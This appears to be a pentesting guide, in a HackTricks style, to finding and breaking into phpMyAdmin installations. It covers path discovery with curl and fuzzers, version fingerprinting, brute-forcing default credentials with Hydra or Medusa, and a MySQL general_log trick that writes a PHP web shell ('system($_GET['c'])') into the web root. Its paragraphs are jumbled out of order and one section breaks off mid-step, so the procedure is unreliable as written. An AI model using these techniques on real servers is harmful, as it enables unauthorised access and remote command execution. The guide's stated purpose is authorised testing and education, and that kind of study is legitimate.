Use Hydra or Medusa with a small user/pass list. Limit to 5 attempts/sec to avoid lockouts. 2.2 HTTP Basic Auth Over phpMyAdmin’s Own Auth Some admins double-wrap phpMyAdmin with .htaccess . Bypass frequently fails, but a credential leak via referral headers or browser history is common.
Use curl -I http://target/phpmyadmin/ – a 200 OK or 302 to index.php confirms presence. A 403 often reveals "Directory indexing denied" but still confirms existence. Fingerprinting Version via Assets Look for /phpmyadmin/themes/pmahomme/img/logo_left.png . Combined with doc/html/index.html or README , you can extract the exact version. Version matters because exploits differ widely between 2.x, 3.x, 4.x, and 5.x.
SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/shell.php'; SELECT "<?php system($_GET['c']); ?>"; Requires SUPER or ADMIN privilege. Works on MySQL 5.x/8.x if log dir is writable by mysql user. C. PHPMyAdmin LFI to RCE (Authenticated) If RCE via SQL fails, use phpMyAdmin’s own features. Navigate to SQL tab, run:
This article compiles techniques, tactics, and procedures (TTPs) sourced from the HackTricks mindset—meaning every method here has been tested, validated, and contextualized against default configurations, misconfigurations, and real-world edge cases. Disclaimer: This guide is for educational purposes and authorized security testing only. Unauthorized access to phpMyAdmin violates laws including the Computer Fraud and Abuse Act (CFAA) and similar statutes worldwide. Part 1: Reconnaissance & Detection – Is phpMyAdmin Present? Before exploiting, you must find the interface. phpMyAdmin paths are predictable. Verified Default Paths Using a wordlist or fuzzer (e.g., ffuf, dirb), check these:
Use whatweb target.com/phpmyadmin – it often extracts version from meta generators. Part 2: Authentication Bypass – Verified Techniques 2.1 The Classic: Default Credentials Despite decades of warnings, default credentials remain the top entry method.
